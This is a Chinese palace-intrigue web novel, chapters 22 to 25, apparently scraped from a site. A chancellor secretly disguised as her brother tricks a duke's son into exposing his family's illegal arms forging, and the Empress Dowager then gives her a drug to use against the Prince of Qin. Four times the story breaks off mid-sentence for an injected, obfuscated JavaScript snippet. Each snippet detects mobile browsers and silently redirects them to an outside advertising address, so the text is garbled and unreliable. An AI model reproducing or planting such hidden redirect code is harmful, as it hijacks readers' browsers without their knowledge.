萧肆的目光从她头顶越过，看着楼下国公府的马车在街上渐行渐远，“先是摆下棋局引徐文钰上钩，再设法让他说出抑制米价的对策，丞相这步借刀杀人用得可真妙，不愧是……” 他忽然逼近半步，松木冷香混着皂角的香气压下来，“名动京城的弈棋高手。” “……”明姝拢住微颤的指尖，一言未发。 此人不但看穿了她的算计，甚至猜出了她下一步要干什么。 “偷听别人讲话可不是君子所为，原以为秦王殿下为人光明磊落，没想到也会有这般不耻行径。” 萧肆非但没有生气，反倒轻笑一声，权当她是计划败露恼羞成怒，只能骂他两句来泄愤。 “你说，本王若是将这些都告诉徐文钰，他还会为你所用吗？” “徐家对太后忠心耿耿，折了太后这条臂膀，对王爷百利而无一害，王爷何不就袖手旁观，坐享其成呢？” “哦？”萧肆却不以为然，“本王若将此事告诉太后，折的便是丞相这条手臂了。丞相胆识过人，有勇有谋，可比那徐国公更让本王头疼呢。” “徐家世代为官，在朝中党羽颇丰，又深得太后宠信，而我不过是个初来乍到，在京中举目无亲的病秧子。何况王爷如今有了我的把柄，日后想要拉我下水，只需将我陷害徐公一事告诉太后便可。”明姝抬眸迎上他审视的目光，“聪明如王爷，应该会做出对自己最有利的抉择吧？” 好一招反客为主。 萧肆一动不动地盯着她，一双瑞凤眼中笑意渐退。 分明不是明玦，却如此巧言善辩，这层虚假的身份背后，到底藏着一副怎样的面孔？ 他可真是越来越好奇了。 “本王昨日途径西市，见那里有家不错的瓷器坊，好像叫……玲珑瓷坊，兴许会有丞相感兴趣的东西。” 萧肆无甚笑意地弯了弯唇。 他当然知道该如何抉择，方才一番话不过是吓唬她罢了。 临走前，他伸手拍了拍她的肩膀，“丞相身子不好，以后还是莫要喝酒了，万一喝出什么麻烦来……” 他没往下说。 看着那道背影出了房间，明姝双腿蓦然软了下去，冷汗早已浸透里衣。 都说伴君如伴虎，可萧肆这个人，比皇帝和太后都要可怕。 …… 回到相府后，太阳已经落山，明姝一边浇花，一边回想着萧肆那些意味沉长的话。 难道她做了那么多，到头来还是没能打消他的怀疑吗？ 还有西市的玲珑瓷坊，究竟是什么意思？ 直至水从花盆里漫出来，白九才察觉到她的异样，忙从她手里接过水壶，又拿了手帕替她擦干衣裳。 “大人从文曲楼回来后就一直心不在焉的。”白九朝东厨的方向瞥了一眼，见蒹葭还在里面忙活，压低了声音问，“难道是那徐文钰没上套？” 明姝摇了摇头，叹气道：“若所有人都像他那般好骗就好了。” 白九没明白她的意思。 再想追问，蒹葭已经做好了晚膳，站在东厨外远远朝她们招手。 “走吧，先用膳。” 蒹葭虽看上去是个文文弱弱的小姑娘，可做菜的手艺一点儿也不输外面的饭馆伙计，托她的福，明姝这几日算是尝了不少鲜。 但毕竟在徐家侍奉过三年，又怀过徐文钰的孩子，在完全摸清她的底细之前，明姝还需瞒一瞒自己的身份和打算，以免被人在背后横摆一道。 翌日，明姝以挑选几只瓷器摆在府中为由，派人到玲珑瓷坊走了一趟。 不去不知道，一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105307|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探听才发现，玲珑瓷坊的掌柜乃是禹州人士，坊中烧瓷用的也都是从禹州运来的，瓷器本身品相并不差，但因为没有加入商会，位置又较为偏僻，生意一直都十分冷清。 此外，住在附近的几户人家都曾抱怨过，瓷坊每日宵禁前打烊，可夜里总传出奇怪的动静来，不像是烧瓷，倒像是打铁，搅得人睡不着觉。 明姝察觉其中疑点诸多，于是又亲自到商会走了一趟，得知玲珑瓷坊开业四年有余，从未向当地商会提出过入会申请。 商会能为店铺带来不小的盈利，多少商铺挤破了头也想加入，可玲珑瓷坊的掌柜宁愿做赔本生意，也从未有过加入商会的打算。 如此，明姝算是明白了萧肆的用意。 原本还发愁私铸兵器一事无从下手，萧肆倒好，也不知用了什么法子，连对方私铸兵器的老巢都查得一清二楚。 想起他白日里那句“借刀杀人”，她不由得扯出一丝自嘲的笑。 螳螂捕蝉黄雀在后，她把徐文钰当刀，萧肆又何尝不是把她当刀呢？ 她好歹还花费心思设了个套给徐文钰跳，这老狐狸却是连装都不肯装一下。 真是……阴险又卑鄙。 唯一算得上好消息的是，萧肆既然选择了站在她这边，即便看穿了她的计划，大抵也不会从中作梗，她只需用好徐文钰这把杀人刀便可。 晚些时候，她又修书几封，送去了几位曾在她养伤期间上门探望过的官员府上，告诉他们自己正准备大量抛售米粮，降低米价，念在他们曾来相府探望的份上，特意将消息告知，只要现在把手中囤积的米粮抛出，还能赚上一笔，待米价下跌后，就得不偿失了。 不出两三日，米价即将下跌的消息果真不胫而走，收到信的官员率先开始抛售，其他正在观望的人见米价有下跌之势，也争先恐后地抛出。 眼下米价恢复正常只是时间的问题，但…… 她的目的还不远止于此。 22. 好戏 自从文曲楼一叙后，徐文钰曾多次派人到相府邀约，都被明姝明姝以政事缠身为由打发了去。 过了小半个月，估摸着人已经晾得差不多了，明珠又主动派人到徐府相邀。 地方依旧是文曲楼。 有了前车之鉴，她让人提前备好了茶饮，用的正是先前醉香楼送来的蔷薇露。 江南带来的九曲仙枝她舍不得，院里那么多坛蔷薇露放着也是放着，若只靠她和白九二人，还不知要喝到猴年马月去。 徐文钰原本还以为明姝把他给忘了，如今受到邀约，心中自是雀跃不已。 先前，他把赢来的藏水凝玉盘拿给看，爹还是头一回对他大加赞赏，甚至出门在外也会提上一嘴。 别提有多风光了。 只要抓紧丞相这颗大树，以后保不齐能干一番大事，让爹更加刮目相看呢。 明姝端起紫砂壶，为二人各自斟了一盏，“前段时间政务繁忙，实在抽不开身，还望徐兄见谅。” “哪里哪里，丞相大人日日为国操劳，有您这样的好官，实乃我永安百姓的福分啊。” “徐兄能这样想，那就再好不过了。”明姝边说边拿出一只做工精良的木匣，“今日请徐兄来，是想给徐兄欣赏一样宝贝。” 木匣里躺着一只上好的金镶玉珠镯，二十八颗玉珠颗颗圆润通透，整齐镶嵌在金镯的外侧。 饶是见多了各种宝贝的徐文钰也眼前一亮。 明姝道：“前些日子，陛下念在我降低米价有功，赏赐了不少金银珠宝，我左看右看，觉得这只镯子品相最为上乘，乃不可多得的珍品。” 二十八颗玉珠在日光映照下泛着动人的光泽，徐文钰几乎看直了眼：“当真是个好宝贝啊……” 最近他正在追求城北孙家的小娘子，那小娘子生得花容月貌，走起路来婀娜多姿，正是他喜欢的类型，可惜人家眼界颇高，说什么只喜欢温文尔雅的正人君子，看不上他这样的纨绔。 去他的狗屁正人君子，全天下女人不都一个样，只要送几个贵重首饰就会不知廉耻地往男人身上贴。 若是把这个玉镯送给她…… “啪——” 徐文钰还在想那孙家的小娘子的事，明姝却已盖上盖子收了回去，“我那江南的妹妹整日写信，催我给她寄些京城的宝贝，也不知这手镯她能不能看得上眼。除此之外，陛下还赏了许多旁的物件，徐兄若是想看看，我下次一并带来。” 徐文钰脸上的笑一时僵住。 合着对方只是给他瞧瞧，完全没有送给他的打算。 那降低米价的计策可是他想出来的，若不是他，哪来这么些宝贝？如今倒好，功名、赏赐全都是对方的，他什么都没落着！ 徐文钰心中不悦又不好发作，只能拿过茶盏猛灌了几口。 明姝将他的一举一动尽收眼底，抿唇一笑道：“徐兄慢些喝，别呛着，若是喜欢这蔷薇露，晚些时候我派人送几坛到国公府上。” 徐文钰笑得愈发僵硬。 宝贝一个不给，送几坛破茶有什么用？况且他只喝酒，不喝茶，那些附庸风雅的书呆子才会喜欢这种又苦又涩的东西。 盏中茶水见底，明姝端起紫砂壶重新斟上，“其实，最近朝中又遇到了件棘手之事，我左右想不到对策，所以想听听徐兄的看法。” 徐文钰这下总算明白，自己这是被当成工具了，先前总说政务缠身，如今一遇到麻烦就想起了他。 真当他缺心眼不成？ 他看破不说破，顺着她问：“能帮上大人是我的荣幸，大人但说无妨。” “上个月，禹州百姓到京中检举，说当地县丞派人抓走了全村的男人，在一处山上私挖铁矿，后经调查，发现这些铁矿被偷偷送到了京城，用于私铸兵器。” “私铸……兵器？” 徐文钰纵然不懂朝政，也明白这四个字的严重性。 明姝面色凝重地点点头，“区区一个县丞，不可能有这么大的本事，若能揪出他背后的靠山，定是大功一件。不过……此事牵涉甚广，还望徐兄千万不要外传，以免打草惊蛇，前功尽弃。” 徐文钰当即明白了她的意思，举起手道：“大人放心，我发誓，绝不会将此事说出去的。” “既如此，我便给徐兄透露一二，还望徐兄能替我想想法子。”明姝顿了顿，道，“经过半个月的调查，其实我已查到对方私铸兵器的地方，就在城西一家名为玲珑瓷坊的商铺，而那家商铺，则是谢常安名下的产业。” 二十多年前，她的父亲辞去御史中丞一职，举家迁往江南，而接任这一职位的，便是谢家家主谢常安。 御史台大多是些安常习故的老顽固，今儿弹劾这个明儿弹劾那个，谢常安更是不遑多让，曾多次上奏批判徐国公，半点情面也不留。 徐国公嘴上不说，心里定是讨厌极了此人，这也是明姝把把拉出来当挡箭牌的原因。 徐文钰问：“大人既然已经知道幕后之人就是谢常安，为何不直接禀报圣上呢？” “眼下还没有确凿证据证明玲珑瓷坊内在私铸兵器，若能从户部那里拿到账簿，仔细核对禹州这些年的出纳，定能成为板上钉钉的罪状。只可惜……”明姝叹了口气，“我与户部尚书没交情尚浅，去了几次都只肯给我抄本，不知徐兄可有办法帮我拿到原本？” 徐文钰这下算是彻底看穿了她的心思，户部尚书与徐家是世交，不仅经常到府上做客，上个月还商量着想把自家的小女儿许配给大哥。 有了这层关系，他借父亲之名要来账本并不是什么难事。 什么千年一遇的奇才，什么料事如神的文曲星，无非是利用别人做事，自己邀功罢了！ 被利用过一次，徐文钰学聪明了不少，没答应也没拒绝，周旋道：“此事确实有些棘手，待我回去想想法子，一有消息便通知大人。” 明姝点点头：“如此，就多谢徐兄了。此事牵扯甚广，若打草惊蛇，可能会引来杀身之祸，徐兄务必谨慎行事，万不可泄露分毫。” …… 之后的几日，徐文钰再没找过明姝，心里却反反复复琢磨着她说过的话，连和朋友喝酒作乐也心不在焉的。 鸳鸯阁的二楼毗邻闹市，楼下小贩叫卖声不绝于耳，涂着浓妆脂粉的女子流转于客人之间，却丝毫没能引起徐文钰的注意。 曹休忍不住出声问：“文钰，你最近是不是有什么心事？不会还在发愁怎么追那孙家的小娘子吧？这么锲而不舍，倒不像你的作风了，改日我给你介绍一位，保证比那孙家的小娘子更漂亮，更会来事。” 徐文钰收回思绪，端起酒杯灌了一大口，有些不耐烦道：“没兴趣。” 曹休有些尴尬地摸了摸鼻子，只能把话题引向别处，“听说今日圣上出巡，这街上比平日里热闹多了。” “可不是。”朱弘和顺着他的目光看向街道，“再加上米价恢复正常，商贩也多了起来，那个江南来的丞相果真有几分本事。当初我爹听说米价要降，连夜让人把家里囤积的米粮都运到集市了呢。” “况且我还听说，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105308|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位丞相今年刚满十九，怪不得大家都说，他是窥探了天机才成了现在这副病样子模样。” 窥探天机？ 闻言，徐文钰不禁从喉中发出一声冷嗤：“有的人表面看着文质彬彬，背地里不知都用了什么见不得人的手段。” 曹休和朱弘和对视一眼，没明白他这是在阴阳谁。 忽而，楼下有人喊了声“陛下来了”，百姓们纷纷毕恭毕敬地退至街道两侧，为圣驾让出一条宽敞大道。 圣驾经过时，一位书生打扮的人突然从人群中冲出，扑通一声跪倒在地。 “草民张士聪，状告国子监博士许鸿信科考舞弊，还望陛下为草民做主！” 此言一出，四下唏嘘声此起彼伏。 “敢当街拦圣驾，此人怕不是活腻了？” “就是，国子监博士乃正八品官，哪是我们这些普通百姓能招惹的，依我看呀，他这回死定了！” 刻绘着龙凤金漆的轿撵被逼停下，禁军怒喝一声“放肆”，上前欲将人拖走，却听轿内传来一道略显稚嫩的声音：“且慢，让他把话说完，国子监博士如何科考舞弊了？” 书生在地上长叩不起，高声道：“草民寒窗苦读十数年，一心想要为国出力，奈何三年前家人重病不起，为筹钱治病，只能答应替许鸿信参加科考，这些年许鸿信所写的文章，全都出自草民之手。” “上个月，草民提出停止代笔，可许鸿信非但不肯，还扬言要害我一家老小。陛下，此人不但胸无点墨，且德行有失，不配在国子监中教书，草民自知罪无可恕，愿意承担应有的罪责，只求陛下对此人严加惩治！” 楼上看戏的曹休嗤笑一声：“真蠢，若人人都能到陛下面前告状，还要御史台做什么？只拦圣驾这一条罪状，就够他全家掉脑袋的了，不自量力。” 徐文钰没吭声，只一副若有所思的模样。 萧子瑜坐在车内，隔着一道轿帘与人问话：“你方才说，许鸿信所书所写皆由你代笔？” “是。”书生从书箱中掏出一叠写得密密麻麻的纸张，“这些都是草民的手稿，陛下一看便知！” 禁军上前接过，恭恭敬敬地递进轿内。 半晌后，萧子瑜的声音重新响起：“此事朕且记下了，查明后定会严加惩治，至于你……” “草民愿以死谢罪，只求保全家人性命！” “朕几时说过要你死了？你的那些诗朕看过，每一篇都文采斐然，我朝一贯任人唯才，明日起你便入国子监教书吧。” 此言一出，在场人皆为之一惊。 书生愣在原地：“陛下的意思是……” 萧子瑜有些不耐烦道：“行了行了，再不让开，朕就真的要治你的罪了。” “谢陛下！谢陛下！” 书生忙在地上咣咣磕了几个响头，踉跄着退至一旁。 轿撵在一众禁军的护卫下重新行进，悬挂的佩玉鸣鸾轻晃，敲出一串串细碎声响。 忽而风起，吹开轿帘一角。 二楼栏杆处，萧肆瞥见车内那张光风霁月的面庞，几不可察地弯了弯唇。 他那小侄子可没这么多心眼，到底是谁在背后教唆，不用想也能猜到。 “咱们的这位丞相大人，倒是格外喜欢作戏。” 这次是，上次在丹青祠也是。 陆尧顺着他的目光看去，可轿帘已重新落下。 “丞相？哪儿有丞相？” 萧肆没回答，只静静望着轿撵在禁军的拥护下渐行渐远，眼中情绪看不分明。 23. 登门 “大人！大理寺的人把玲珑瓷坊给围起来了！” 白九刚从外面回来便匆匆往后院跑，一个不留神，被脚下树枝绊了一跤，明姝贴在唇瓣上的茶盏一顿，见她无事才松了口气，“慢些跑，怎么这般不小心。” “大人，我没事。”白九从地上爬起来，拍拍身上的灰土，“方才我在集市上听人说，徐文钰进宫面圣，拿着户部的账簿，指认御史中丞谢常安有私铸兵器之嫌，眼下大理寺的沈大人已经带人把地方围了起来，这几日应该就会有结果。” 明姝不轻不重地“嗯”了一声，看上去并不意外。 那日她让小皇帝在街上与人作了一出戏，为的就是从背后推徐文钰一把，让他觉得陛下任人唯贤，只要出面指认谢常安就能立下大功一件，得到陛下赏识。 沈家与萧肆走得近，大理寺少卿沈遥枫又是萧肆的好友，此事交到大理寺手里，徐家十有八九是回天乏术了。 徐国公恐怕这辈子都想不到，自己那不学无术的儿子竟会跑到皇上面前告御状，还把自家私铸兵器之事给捅了出来。 白九道：“不过我还听说，徐文钰去借账簿那日，徐国公恰巧就在户部，结果被秦王请去了府上座客，否则这父子二人一旦碰上，徐国公定会察觉到蹊跷，也不会发生后来这些事了。” 明姝端着茶盏的手微微一滞。 萧肆把徐国公给支开了？ 细想一番，她突然有些后怕。 自己到底还是嫩了些，把事情想得太过简单，即便千叮咛万嘱咐徐文钰要守口如瓶，却没算到他可能会在户部碰上徐国公。 徐国公左右也在朝中待了这么多年，是个不好糊弄的老狐狸，若是看到整日流连于花柳之地的儿子突然出现在户部，定会仔细盘问一番，到时便会知道是她在背后推波助澜。 计划功亏一篑是小事，若让徐国公有所防备，提前转移了兵器与铁矿，再借机告到太后那里，打她个措手不及，后果还不知会变成什么模样。 萧肆将人支开是巧合吗，还是说…… 他在帮她？ 不出三日，玲珑瓷坊果真查出了大批兵器与矿石，但瓷坊并非谢家的产业，而是记在徐国公名下。 此事上报后，皇上当即召来徐家与谢家当面对峙。 谢常安是个墨守成规的老迂腐，哪受得了被人指着鼻子扣上无中生有的罪名，气得当场吐出一口老血，把徐文钰连带着整个徐家都骂得体无完肤，竭力请求太后与皇上治徐家一个谋逆之罪。 明姝从头到尾都不在现场，但从头到尾都在她的意料之中。 此事闹到如此地步，宫中已人尽皆知，太后即便再想包庇徐家，也得好好斟酌一番。 最终，禹州两处私矿被封，太后念在徐国公辅佐朝政多年，以及徐文钰大义灭亲的份上，只将徐家上下贬至青州，永世不得为官。 唯有置身事外的徐妙音，因是太后看着长大的，被太后留了身边。 消息传到相府，白九直呼大快人心：“听说徐国公气得当场晕了过去，醒来后还打断了徐文钰一条腿，真是活该！” 明姝微微一笑，道：“可太后最终还是偏袒了徐家，若换成他人，涉嫌谋逆可是要株连九族的。” 现在看来，私铸兵器一事，太后恐怕也牵连其中。 不过萧肆手握兵权，早年又在沧州领兵打仗，在将士中颇有声望，太后有所应对也是意料之中。 眼下禹州私矿已封，她也算是给了兰芳村百姓一个交代，那些被抓到矿场卖命的工人，想来不久就能回家了。 思及此，她搁下手中笔墨，“难得今日大家都高兴，不如……吃些好的庆祝一下？” “好啊！大人想吃点什么？” “古董羹如何？” 平日里吃的都是清淡素食，时间久了，她也想尝尝京城的古董羹是什么味道。 白九也许久未开荤，脸上藏不住的欣喜，拉着蒹葭一同准备去了。 二人将桌案搬到院中，又支起了锅炉，将从集市上买来的各样糕点与吃食浩浩荡荡摆了一大桌。 入秋后，天气愈发寒凉，五熟锅下烧着炭火，锅中冒着热气，没一会儿，肉香便飘满了整个院子。 三人围坐案旁，白九边吃边问：“蒹葭姑娘日后有何打算？要不就留在相府，与我一同侍奉大人吧？” 蒹葭是个吃苦耐劳、手脚利索的姑娘，前几日还把相府未清扫的几间厢房都打扫了一遍，费了不少功夫。 “丞相的大恩大德，蒹葭没齿难忘，只是……”蒹葭垂下眼帘，摸了摸腹中的胎儿，“原本想把这孩子流掉，但毕竟是一条人命，思前想后，还是决定把孩子生下来。日后月份大了，行动难免不便，留在相府只会给大人添麻烦，所以我打算这两日边收拾收拾回江南老家。” “可……” 白九刚想开口，却见明姝朝她轻摇了摇头。 “既然蒹葭姑娘已经决定了，我也不便阻拦，若以后遇到困难，可以到江南明家避上一避。” 明姝不是不想留下蒹葭，只是她出身国公府，日后若被人知道留在相府，难免引起怀疑。 总不能一辈子躲躲藏藏不见人，倒不如回江南，那里与青州相隔甚远，是个再好不过的去处。 说话间，府外响起一阵叩门声。 白九起身放下碗筷，“外面好像有人，我去看看。” 几位穿着破旧的妇人站在相府门外，最年长的看上去已年近花甲，身形佝偻被人一左一右搀扶着，瘦得形如槁木。 白九对她们并无印象，还以为是寻错了门，“我们这里是相府，各位请回吧。” 眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105309|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看大门将关，为首妇人忙向前追了两步，险些踉跄在地，“姑娘留步，我们正是来找丞相大人的。” “找丞相大人？” 白九恍然一愣，还没来得及通传，明姝便已经跟了过来，一眼认出了几位妇人。 距离秋山狩猎已经过去了整整一月，原以为她们早就回了禹州，没想到却是一直留在京城等消息。 她们身上还穿着来时的破旧衣裳，在这秋寒之际显得尤为单薄，身形也比当初饥瘦不少，想来每日风餐露宿，连饭都不曾饱过一顿。 见到明姝，几人纷纷跪倒在地，恭恭敬敬地磕了三个响头。 “丞相大人菩萨心肠，愿帮我们这些老妇，老妇无以为报，只能登门感谢您的大恩大德！” 明姝给白九使了个眼色，让她将人从地上扶起来，“各位不必多礼，我身为丞相，替朝廷惩奸除恶乃分内之事，况且此事牵扯甚广，凭我一人之力无法做到，多亏陛下与……” “秦王”二字到了嘴边，脑海里浮现出那张倨傲淡漠的面庞。 以萧肆的脾性，帮她只不过是为了断太后一条手臂，至于百姓是否会心存感激，他或许一点儿也不在乎。 顿了顿，明姝改口道：“多亏陛下相助，才让作恶之人受到了应有的惩罚。眼下禹州私矿已封，各位的丈夫也应该回到家中了，既如此，各位也早些回去与家人团聚吧。” 明珠又唤白九拿了些盘缠分发下去，否则天气越来越凉，禹州又此去迢迢，还不知她们能不能坚持到回家。 “多谢丞相大人！多谢丞相大人！” 妇人们再度拜谢后，蹒跚着离开了相府，角落处藏匿的身影也随之离开，径直前往昭华宫中报信。 “什么？！”太后闻言震怒，手边茶盏被震得打了个转才停下，“你说那些禹州的村妇到相府登门拜谢？” 报信之人也被吓得浑身一震，战战兢兢回道：“属下句句属实，不敢有半句虚言，那些村妇临走时，丞相还给她们分了许多盘缠，而且……据属日日观察，相府中最近还多了一名女子，正是先前国公府侍奉的丫鬟。” 太后虽是一介女流，但能爬到今日的高位，说到底也是个聪明人，仔细一想便能厘清其中的来龙去脉。 “怪不得……怪不得……”她跌坐回软榻，口中喃喃自语。 怪不得徐国公替她做事这么多年从未露出过一丝破绽，明玦一来，便将私铸兵器之事捅得人尽皆知。 还有徐国公那不中用的儿子，若无人在背后教唆，怎会突然对朝堂之事来了兴致，还害得全家被贬青州？ 若徐家折在萧肆手里也便罢了，她唯独不能接受的，便是明玦在其中推波助澜。 她一直当做底牌的人，到头来却亲手折了她一条臂膀。 “现在马上，召丞相入宫！” 24. 施以颜色 晚膳后不久，明姝应太后旨意来到宫中。 彼时天色已暗下大半，月光透过树枝洒下一地斑驳碎影，沿路安设的长明灯照着青石小径，一片阒静无声。 明姝跟着提灯公公来到昭华宫外，却被告知太后正在小憩，让她跪在门外等候。 这一跪，便是整整一个时辰。 早在宫里来人时，明姝就有种不好的预感，如今更是敲实了心中猜测。 那些禹州村妇前脚刚走，太后后脚便召她入宫，如今她来了，太后又找借口闭门不见，想来是有人通风报信，将她暗中查办私铸兵器一事告了上去。 夜间寒凉，明姝衣物单薄，又一身细皮嫩肉，膝盖跪在冰凉的青石砖上被咯得生疼。 她抬眸望去，昭华宫中烛火通明，窗后侍女身影走动，为案边人端茶送水。 小憩是假，施以颜色才是真。 她到底还是把事情想得太过简单，以为徐家受到惩治便可放松警惕，没想到暗处还有双眼睛在盯着自己。 所幸徐家已倒，没了徐国公这么个左膀右臂，太后手中可用之人寥寥无几，不敢再轻易丢了她这枚棋。 昭华宫内，炭火盆正里滋滋烧着炭火，紧闭的门窗将寒风阻挡在外，只留下一扇半掩的小窗通气，满室暖意融融。 太后身披雪白狐裘，将手中经卷翻至最后一卷，终于抬头看了眼窗外。 “丞相跪了多久了？” “回太后，约莫有一个多时辰了。” “让他进来吧。” 太后也知明玦身子不好，若跪出个什么三长两短，她又少了个可用之人不说，传出去还会惹人非议。 毕竟明玦前不久才解决了米价飞涨的问题，如今正被京城百姓交口称赞，这迫害良臣的骂名，她可不想担。 一束光照进视线，明姝下意识将手挡在眼前，透过指缝看到了提灯而来的侍女。 “丞相大人，太后请您入殿。” 明姝虽不像兄长那般身体孱弱，但毕竟是被捧在手心里长大的娇娇女，哪里受过这般折磨，双腿早已麻木不说，靴子里还垫着一层又一层的草垫，方一起身便又跌了回去。 “大人……” 她摇头道了声“无碍”，强撑着站起，跟在侍女身后进了昭华宫，向上首之人作揖。 “微臣参见太后。” 太后点了点头，眉眼间的疲惫不像是装出来的，“最近徐国公一事闹得沸沸扬扬，哀家已经许久未曾合眼，方才实在强撑不住，便歇息了一会儿，还望丞相莫要放在心上。” “微臣不敢。” “说起来，还是因为秦王查出了徐国公私铸兵器一事，又派大理寺接连上奏，逼哀家严加惩治，这朝堂啊，怕是快要变天了……” 明姝原以为太后会怪罪自己看不清局势，没想到却是话锋一转，将一切都推到了萧肆身上。 “徐国公瞒着哀家私铸兵器，固然罪无可恕，但毕竟是辅佐朝政数十载的肱骨之臣，秦王如此不留情面，无非是想铲除哀家背后的势力，进而将子瑜拖下皇位，独占这永安江山。你说，朝堂上有这般狼子野心之人，哀家如何能睡得安稳？” 明姝先是一怔，旋即明白了她的用意，低眉敛眸不语，只是默默听着。 太后续道：“秦王乃惠妃所出，一非嫡二非长，却一直对皇位虎视眈眈，为了壮大自己的势力，甚至不择手段。丞相应该还不知，五年前的天野关一役，正是他萧肆私通外敌，害得沧州十万将士殒命不说，连天野关也成了北狄的囊中之物，至今未归。” 关于天野关一役，明姝曾从兄长口中略闻一二。 五年前北狄举兵犯境，沧州军受命赶赴前线，死守天野关不出，一直拖到冬季，待北狄人御寒物资吃紧后才开始反攻。 本该是一场毫无悬念的战役，结果沧州军中出了奸细，在开战的前一日大开城门迎敌军入关，打了沧州军一个措手不及，城中百姓惨遭屠戮，目之所及皆流血漂橹。 直至现在，天野关依旧是北狄的囊中之物，开门的奸细也死于战乱之中，不知是受了谁的指使。 “太后的意思是，当年下令开城门的人是秦王？” 太后点头道：“不错，知晓此事者少之又少，哀家念在他身上流着萧氏的血，怕他再行偏激之事，才一直忍气吞声，任凭他在朝中挟势弄权。原以为只要他有了权势便能安分守己，如今看来，是哀家低估了他的野心。” 明姝听出对方话中有话，几不可察地压了压眉稍，“所以太后今日召臣入宫，是为了商议秦王之事？” “眼下徐国公已倒，秦王定会蠢蠢欲动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105310|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，若不及时阻拦，以他不择手段的程度，还不知会给永安带来哪般祸事，哀家知丞相心怀百姓，愿为朝廷惩奸除恶。” 说着，太后向身旁侍女使了个眼色，后者心领神会，从墙边的暗格中取出一只朱砂瓷瓶来。 太后从侍女手中接过瓷瓶，指腹摩挲着冰凉的瓶身，缓声道：“此乃无梦散，无色无味，服下后只需一盏茶的时间，便能让人意识全无。再过几日便是皇家出游的日子，行宫戒备比不上皇城，正是下手的好时机。” 明姝心中一颤：“太后是要臣对秦王下手？” “秦王心思缜密，又诡计多端，此事唯有交于丞相手中，哀家才能放心。况且丞相是哀家从江南请来的人，本就该与哀家戮力同心，这既是为了永安百姓，也是为了丞相自己，丞相是个聪明人，想来不会不懂这个道理吧？” 明姝眸色微动，抿唇不语。 她怎会不明白太后的心思，说是为了百姓着想，为了朝廷，其实是想借她之手除掉萧肆，顺便试探她对自己是否忠心。 她若拒绝，便是不愿为百姓着想，不愿为朝廷惩奸除恶。 她若答应，便是彻底与萧肆站在对立面，计成，则萧肆死，计不成，也能挑拨二人间的关系。 比起疾言厉色的训斥，这一手段显然高明太多了。 明姝清楚自己没有拒绝的余地。 太后最怕的便是她这张底牌被萧肆拉拢了去。 先前二人联手查办私铸兵器一案，正是让太后看到了这一苗头，若再让太后觉得她有意袒护萧肆，那最先被除掉的人一定是她。 毕竟在太后眼中，她是利刃也是隐患，若为己用，则无坚不摧，若落入敌人之手，则无异于自断生路。 还不如趁早铲除。 思及此，明姝深吸一口凉气，知道自己已别无选择，于是跪地伸出双手，“为了永安江山与黎民百姓，臣赴汤蹈火，在所不惜。” “好，好，好，不愧是哀家看中的人，果然有胆有识。”太后连道三个“好”字，亲自将朱砂瓷瓶放在她的掌心，“届时哀家会将行宫附近的禁军遣散，丞相只需想办法让秦王服下此药，后面的事自会有人去做。” 瓶身冰凉入骨，明姝喉咙上下滚动了下，双手有些不受控制地轻颤，“臣……定不负太后所托。” 25. 做贼心虚 不知不觉已是深秋。 风从枝头吹下一片枯叶，落在池塘水面上来回飘动。 明姝一瞬不瞬地望着窗外，茶盏里的九曲仙枝已经凉透了，却是一口未动。 白九又替她重新温了一盏，回来时，人依旧望着窗外出神，手中的书也不曾翻动一页。 自昭华宫回来后，她总是这般心不在焉，不是坐在案前翻书就是在后院不知疲倦地练箭。 白九不知她在宫中到底遇到了何事，几次想问也没问出口，放下茶盏便退了出去。 风吹不止，又卷起一枚落叶从半开的窗棂飞入，摇晃着落在书页上。 明姝这才缓慢回神，伸手拂去落叶，合上了书。 这几日，她翻遍了当年沧州之战的全部记载，仿佛只要找到萧肆犯下的罪行，她便能心安理地听从太后吩咐。 然而，书中只提到萧肆带领的沧州军在天野关一役中损失惨重，其他只字未提。 事实到底如太后所说，还是另有隐情，她也不得而知。 